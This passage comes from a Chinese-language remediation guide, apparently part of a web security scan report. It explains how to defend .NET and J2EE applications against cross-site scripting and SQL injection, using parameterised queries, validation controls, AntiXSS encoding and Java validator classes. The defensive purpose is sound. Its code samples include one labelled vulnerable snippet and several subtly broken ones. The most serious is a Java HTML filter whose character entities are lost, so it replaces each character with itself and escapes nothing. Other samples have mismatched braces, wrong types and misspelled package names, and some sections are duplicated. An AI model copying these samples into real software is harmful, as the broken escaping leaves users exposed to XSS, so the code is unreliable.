以获取有关所需编码和转义类型的更多详细信息。

[3] 策略: 识别和减少攻击出现的机会

了解您的软件中可能出现不可信输入的所有潜在区域:参数或自变量、cookie、从网络读取的任何内容、环境变量、反向 DNS 查找、查询结果、请求头、URL 组成部分、电子邮件、文件、文件名、数据库以及向应用程序提供数据的任何外部系统。请记住,此类输入可通过 API 调用间接获取。

[4] 策略: 输出编码

对于生成的每个 Web 页面,请使用并指定 ISO-8859-1 或 UTF-8 之类的字符编码。如果未指定编码,Web 浏览器可能通过猜测 Web 页面实际使用的编码来选择不同的编码。这可能导致 Web 浏览器将特定序列视为特殊序列,从而使客户机暴露在不易察觉的 XSS 攻击之下。请参阅 CWE-116 以获取与编码/转义相关的更多减轻威胁的方法。

[5] 策略:识别和减少攻击出现的机会

要帮助减轻针对用户会话 cookie 的 XSS 攻击带来的威胁,请将会话 cookie 设置为 HttpOnly。在支持 HttpOnly 功能的浏览器(如 Internet Explorer 和 Firefox 的较新版本)中,此属性可防止使用 document.cookie 的恶意客户机端脚本访问用户的会话 cookie。这不是完整的解决方案,因为 HttpOnly 并不受所有浏览器支持。更重要的是,

XMLHTTPRequest 和其他功能强大的浏览器技术提供了对 HTTP 头的读访问权,包括在其中设置 HttpOnly 标志的 Set-Cookie 头。

[6] 策略:输入验证

·假定所有输入都是恶意的。使用"接受已知善意"输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入由于格式严重错误而应直接拒绝。执行输入验证时,请考虑所有潜在相关的属性,包括长度、输入类型、可接受的值的完整范围、缺少或多余的输入、语法、在相关字段之间是否一致以及是否遵守了业务规则。作为业务规则逻辑的示例,"boat"可能在语法上有效(因为它仅包含字母数字字符),但如果预期为颜色(如"red"或"blue"),那么它就无效。动态构造 Web 页面时,请使用严格的白名单以根据请求中参数的预期值来限制字符集。所有输入都应进行验证和清理,不仅限于用户应指定的参数,而是涉及请求中的所有数据,包括隐藏字段、cookie、头、URL 本身,等等。导致 XSS 脆弱性持续存在的一个常见错误是仅验证预期会由站点重新显示的字段。常见的情况是,在请求中出现由应用程序服务器或应用程序反射的其他数据,而开发团队却未能预料到此情况。另外,将来的开发者可能会使用当前未反映的字段。因此,建议验证 HTTP 请求的所有部分。请注意,适当的输出编

码、转义和引用是防止 XSS 的最有效解决方案,虽然输入验证可能会提供一定的深度防御。输入验证会有效限制将在输出中出现的内容。它并不总是能够防止 XSS,尤其是在您需要支持可包含任意字符的自由格式文本字段的情况下。例如,在聊天应用程序中,心型表情图标("<3")可能会通过验证步骤,因为它的使用频率很高。但是,不能将其直接插入到 Web 页面中,因为它包含"<"字符,该字符需要转义或以其他方式进行处理。在此情况下,消除"<"可能会降低XSS 的风险,但是这会产生不正确的行为,因为这样就不会记录表情图标。

这可能看起来只是略有不便,但在需要表示不等式的数学论坛中,这种情况就更为重要。即使在验证中出错(例如,在 100 个输入字段中忘记一个字段),相应的编码仍有可能针对基于注入的攻击为您提供防护。只要输入验证不是孤立完成的,便仍是有用的技巧,因为它可以大大减少攻击出现的机会,使您能够检测某些攻击,并提供正确编码所无法解决的其他安全性优势。请确保在应用程序内定义良好的界面中执行输入验证。即使某个组件进行了复用或移动到其他位置,这也将有助于保护应用程序。

.Net

SQL 注入

以下是保护 Web 应用程序免遭 SQL 注入攻击的两种可行方法:

[1] 使用存储过程,而不用动态构建的 SQL 查询字符串。 将参数传递给 SQL Server 存储过程的方式,可防止使用单引号和连字符。

以下是如何在 ASP.NET 中使用存储过程的简单示例:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...

MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value

// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] 您可以使用验证控件,将输入验证添加到"Web 表单"页面。 验证控件提供适用于所有常见类型的标准验证的易用机制 — 例如,测试验证日期是否有效,或验证值是否在范围内 — 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配"Web 表单"页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。

为了确保用户输入仅包含有效值,您可以使用以下其中一种验证控件:

- a. "RangeValidator": 检查用户条目(值)是否在指定的上下界限之间。 您可以检查配对数字、字母字符和日期内的范围。
- b. "RegularExpressionValidator": 检查条目是否与正则表达式定义的模式相匹配。 此类型的验证使您能够检查 可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。 有两种方法可检查用户输入的有效性;

1. 测试常规错误状态:

在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:

在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。

跨站点脚本编制

- [1] 我们建议您将服务器升级至 .NET Framework 2.0(或更新的版本),它本身就包括针对跨站点脚本编制攻击进行保护的安全检查。
- [2] 您可以使用验证控件,将输入验证添加到"Web 表单"页面。 验证控件提供适用于标准验证的所有常见类型的易用机制(例如,测试验证日期是否有效,或验证值是否在范围内)。 另外,验证控件也支持定制编写验证,可让您完整定制向用户显示错误信息的方式。 验证控件可以搭配"Web 表单"页面类文件中处理的任何控件来使用,其中包括 HTML和 Web 服务器控件。

要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:

- [1] "RangeValidator": 检查用户条目(值)是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。
- [2] "Regular Expression Validator": 检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。 有助于阻止跨站点脚本编制的正则表达式示例:
- 可以拒绝基本跨站点脚本编制变体的正则表达式可能如下: ^([^<]|\<[^a-zA-Z])*[<]?\$- 拒绝上述所有字符的一般正则表达式可能如下: ^([^\<\>\"\\%\;\)\(\&\+]*)\$重要注意事项: 验证控件不会阻止用户输入或更改页面处理流程; 它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。有两种方法可检查用户输入的有效性:
- 1. 测试常规错误状态:

在您的代码中,测试页面的 IsValid 属性。 该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:

在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。 然后,您就可以检查每个验证控件的 IsValid 属性。

最后,我们建议使用 Microsoft Anti-Cross Site Scripting Library (V1.5 更高版本)对不受信任的用户输入进行编码。

Anti-Cross Site Scripting Library 显现下列方法:

- [1] HtmlEncode 将在 HTML 中使用的输入字符串编码
- [2] HtmlAttributeEncode 将在 HTML 属性中使用的输入字符串编码
- [3] JavaScriptEncode 将在 JavaScript 中使用的输入字符串编码
- [4] UrlEncode 将在"统一资源定位器 (URL)"中使用的输入字符串编码
- [5] VisualBasicScriptEncode 将在 Visual Basic 脚本中使用的输入字符串编码
- [6] XmlEncode 将在 XML 中使用的输入字符串编码
- [7] XmlAttributeEncode 将在 XML 属性中使用的输入字符串编码

如果要适当使用 Microsoft Anti-Cross Site Scripting Library 来保护 ASP.NET Web 应用程序,您必须运行下列操作:

- 第 1 步: 复查生成输出的 ASP.NET 代码
- 第2步:判断是否包括不受信任的输入参数
- 第3步:判断不受信任的输入的上下文是否作为输出,判断要使用哪个编码方法
- 第 4 步:编码输出

第3步骤的示例:

注意:如果要使用不受信任的输入来安装 HTML 属性,便应该使用 Microsoft.Security.Application.HtmlAttributeEncode 方法,将不受信任的输入编码。 另外,如果要在 JavaScript 的上下文中使用不受信任的输入,便应该使用 Microsoft.Security.Application.JavaScriptEncode 来编码。

```
// Vulnerable code
// Note that untrusted input is being treated as an HTML attribute
Literal1.Text = "<hr noshade size=[untrusted input here]>";
```

```
// Modified code
Literall.Text = "<hr noshade size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";
```

第4步骤的示例:

将输出编码时,必须记住的一些重要事项:

- [1] 输出应该编码一次。
- [2] 输出的编码与实际撰写,应该尽可能接近。 例如,如果应用程序读取用户输入、处理输入,再用某种形式将它重新写出,便应该紧接在撰写输出之前进行编码。

通过框架钓鱼

链接注入 (便于跨站请求伪造)

发现数据库错误模式

以下是保护 Web 应用程序免遭 SQL 注入攻击的两种可行方法:

[1] 使用存储过程,而不用动态构建的 SQL 查询字符串。 将参数传递给 SQL Server 存储过程的方式,可防止使用单引号和连字符。

以下是如何在 ASP.NET 中使用存储过程的简单示例:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...

MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
```

```
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value

// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] 您可以使用验证控件,将输入验证添加到"Web 表单"页面。 验证控件提供适用于所有常见类型的标准验证的易用机制 — 例如,测试验证日期是否有效,或验证值是否在范围内 — 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配"Web 表单"页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。

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2. 测试个别控件的错误状态:

在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。

JSON 中反映的未清理用户输入

[1] 我们建议您将服务器升级至 .NET Framework 2.0(或更新的版本),它本身就包括针对跨站点脚本编制攻击进行保护的安全检查。

[2] 您可以使用验证控件,将输入验证添加到"Web 表单"页面。 验证控件提供适用于标准验证的所有常见类型的易用机制(例如,测试验证日期是否有效,或验证值是否在范围内)。 另外,验证控件也支持定制编写验证,可让您完整定制向用户显示错误信息的方式。 验证控件可以搭配"Web 表单"页面类文件中处理的任何控件来使用,其中包括 HTML和 Web 服务器控件。

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- [2] "Regular Expression Validator": 检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。 有助于阻止跨站点脚本编制的正则表达式示例:
- 可以拒绝基本跨站点脚本编制变体的正则表达式可能如下: ^([^<]|\<[^a-zA-Z])*[<]?\$- 拒绝上述所有字符的一般正则表达式可能如下: ^([^\<\>\"\\%\;\)\(\&\+]*)\$重要注意事项: 验证控件不会阻止用户输入或更改页面处理流程; 它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。有两种方法可检查用户输入的有效性:
- 1. 测试常规错误状态:

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2. 测试个别控件的错误状态:

在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。 然后,您就可以检查每个验证控件的 IsValid 属性。

最后,我们建议使用 Microsoft Anti-Cross Site Scripting Library(V1.5 更高版本)对不受信任的用户输入进行编码。

Anti-Cross Site Scripting Library 显现下列方法:

- [1] HtmlEncode 将在 HTML 中使用的输入字符串编码
- [2] HtmlAttributeEncode 将在 HTML 属性中使用的输入字符串编码
- [3] JavaScriptEncode 将在 JavaScript 中使用的输入字符串编码
- [4] UrlEncode 将在"统一资源定位器 (URL)"中使用的输入字符串编码
- [5] VisualBasicScriptEncode 将在 Visual Basic 脚本中使用的输入字符串编码
- [6] XmlEncode 将在 XML 中使用的输入字符串编码
- [7] XmlAttributeEncode 将在 XML 属性中使用的输入字符串编码

如果要适当使用 Microsoft Anti-Cross Site Scripting Library 来保护 ASP.NET Web 应用程序,您必须运行下列操作:

- 第 1 步: 复查生成输出的 ASP.NET 代码
- 第2步: 判断是否包括不受信任的输入参数
- 第3步:判断不受信任的输入的上下文是否作为输出,判断要使用哪个编码方法
- 第 4 步:编码输出

第3步骤的示例:

注意:如果要使用不受信任的输入来安装 HTML 属性,便应该使用 Microsoft.Security.Application.HtmlAttributeEncode 方法,将不受信任的输入编码。 另外,如果要在 JavaScript 的上下文中使用不受信任的输入,便应该使用 Microsoft.Security.Application.JavaScriptEncode 来编码。

```
// Vulnerable code
// Note that untrusted input is being treated as an HTML attribute
Literall.Text = "<hr noshade size=[untrusted input here]>";

// Modified code
Literall.Text = "<hr noshade size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";
```

第4步骤的示例:

将输出编码时,必须记住的一些重要事项:

[1] 输出应该编码一次。

[2] 输出的编码与实际撰写,应该尽可能接近。 例如,如果应用程序读取用户输入、处理输入,再用某种形式将它重新写出,便应该紧接在撰写输出之前进行编码。

```
// Incorrect sequence
protected void Button1_Click(object sender, EventArgs e)
{
    // Read input
    String Input = TextBox1.Text;
    // Encode untrusted input
    Input = Microsoft.Security.Application.AntiXss.HtmlEncode(Input);
    // Process input
    ...
    // Write Output
    Response.Write("The input you gave was"+Input);
}

// Correct Sequence
protected void Button1_Click(object sender, EventArgs e)
{
    // Read input
    String Input = TextBox1.Text;
```

J2EE

SQL 注入

** 预编译语句:

以下是保护应用程序免遭 SQL 注入(即恶意篡改 SQL 参数)的三种可行方法。 使用以下方法,而非动态构建 SQL 语句:

[1] PreparedStatement,通过预编译并且存储在 PreparedStatement 对象池中。 PreparedStatement 定义 setter 方法,以注册与受支持的 JDBC SQL 数据类型兼容的输入参数。 例如,setString 应该用于 VARCHAR 或 LONGVARCHAR 类型的输入参数(请参阅 Java API,以获取进一步的详细信息)。 通过这种方法来设置输入参数,可防止攻击者通过注入错误字符(如单引号)来操纵 SQL 语句。

如何在 J2EE 中使用 PreparedStatement 的示例:

```
// J2EE PreparedStatemenet Example
  // Get a connection to the database
 Connection myConnection;
 if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
     Context ctx = new InitialContext();
     \verb|myConnection| = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);\\
 } else {
     try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
         myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
     }
 }
 try {
     PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username =
?");
     mvStatement.setString(1, userNameField);
     ResultSet rs = myStatement.executeQuery();
     rs.close();
 } catch (SQLException sqlException) {
    myStatement.close();
     mvConnection.close();
```

[2] CallableStatement,扩展 PreparedStatement 以执行数据库 SQL 存储过程。 该类继承 PreparedStatement 的输入 setter 方法(请参阅上面的 [1])。

以下示例假定已创建该数据库存储过程:

CREATE PROCEDURE select_user (@username varchar(20))AS SELECT * FROM USERS WHERE USERNAME = @username;如何在 J2EE 中使用 CallableStatement 以执行以上存储过程的示例:

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
```

```
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
}
try {
    PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
    myStatement.setString(1, userNameField);
    myStatement.registerOutParameter(1, Types.VARCHAR);
    ResultSet rs = myStatement.executeQuery();
    rs.close();
} catch (SQLException sqlException) {
} finally {
    myStatement.close();
    myConnection.close();
```

[3] 实体 Bean,代表持久存储机制中的 EJB 业务对象。 实体 Bean 有两种类型: bean 管理和容器管理。 当使用 bean 管理的持久性时,开发者负责撰写访问数据库的 SQL 代码(请参阅以上的 [1] 和 [2] 部分)。 当使用容器管理的持久性时,EJB 容器会自动生成 SQL 代码。 因此,容器要负责防止恶意尝试篡改生成的 SQL 代码。

如何在 J2EE 中使用实体 Bean 的示例:

```
// J2EE EJB Example
try {
    // lookup the User home interface
    UserHome userHome = (UserHome)context.lookup(User.class);
    // find the User remote interface
    User = userHome.findByPrimaryKey(new UserKey(userNameField));
    ...
} catch (Exception e) {
    ...
}
```

推荐使用的 JAVA 工具 不适用

参考资料

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

- **输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
- 一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容: [1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
- [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
            }
            return isFieldValid;
        }
        ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
            // fieldValue is valid, continue processing request
            ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    public static boolean validateInt(String value) {
       boolean isFieldValid = false;
        trv {
        Integer.parseInt(value);
        isFieldValid = true;
        } catch (Exception e)
        isFieldValid = false;
        return isFieldValid;
   }
}
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
   // fieldValue is valid, continue processing request
}
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
            validatedValue.length() <= maxLength);
        }
        ...
}

String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
        if (Validator.validateLength(userName, 8, 20)) {
            // userName is valid, continue further processing
        ...
    }
}</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
public Class Validator {
   public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
        List list = Arrays.asList(options);
       if (list != null) {
       isValidValue = list.contains(value);
        } catch (Exception e) {
       return isValidValue;
   }
}
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
   // valid user selection, continue processing request
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]*\$

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
       boolean match = false;
        if (validateRequired(expression)) {
        RE r = new RE (expression);
        match = r.match(value);
        return match;
    }
}
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   // userName is valid, continue processing request
```

Java 1.4 引进了一种新的正则表达式包 (java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}
</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
   public static String filter(String value) {
       if (value == null) {
       return null;
       StringBuffer result = new StringBuffer(value.length());
       for (int i=0; i<value.length(); ++i) {
       switch (value.charAt(i)) {
       case '<':
       result.append("<");
       break;
       case '>':
       result.append(">");
       break;
       case '"'.
       result.append(""");
       case '\'':
       result.append("'");
```

```
break;
       case '%':
       result.append("%");
       break;
       case ';':
       result.append("&#59;");
       break;
       case '(':
       result.append("(");
       break;
       result.append(")");
       break;
       case '&':
       result.append("&");
       break;
       case '+':
       result.append("+");
       result.append(value.charAt(i));
       break;
       return result;
   }
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了"过滤器",它支持拦截和转换 HTTP 请求或响应。 以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
\ensuremath{//} Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  public class SensitiveCharsFilter implements Filter {
      public void doFilter(ServletRequest request,
          ServletResponse response,
          FilterChain chain)
          throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      \verb|public class CharResponseWrapper extends | \verb| HttpServletResponseWrapper | \\
         private CharArrayWriter output;
          public String toString() {
          return output.toString();
          \verb"public CharResponseWrapper" (\verb"HttpServletResponse response") \{
          super (response);
          output = new CharArrayWriter();
```

```
public PrintWriter getWriter() {
    return new PrintWriter(output);
    }
}
}
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range: 如果值在 min 和 max 属性给定的值的范围内 ((value >= min) & (value <= max)), 便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard: 如果值可以是有效的信用卡号码,便告成功。

e-mail: 如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <global>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msq name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
```

```
<
```

[2] JavaServer Faces 技术

^{*}JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API (JSR 127)。 JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange: 在组件上注册 DoubleRangeValidator

validate length: 在组件上注册 LengthValidator

validate_longrange: 在组件上注册 LongRangeValidator validate_required: 在组件上注册 RequiredValidator validate stringrange: 在组件上注册 StringRangeValidator

validator: 在组件上注册定制的 Validator

JavaServer Faces API 定义以下 Ullnput 和 UlOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date output_date:显示以 java.text.Date 实例格式化的 java.util.Date

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

input_text:接受单行文本字符串。output text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date output time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date

input hidden: 允许页面作者在页面中包括隐藏变量

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号

input_textarea: 接受多行文本

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息

output_label:将嵌套的组件显示为指定输入字段的标签

output_message: 显示本地化消息

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

```
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java 正则表达式包 —
http://jakarta.apache.org/regexp/
Jakarta 验证器 —
http://jakarta.apache.org/commons/validator/
JavaServer Faces 技术 —
```

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

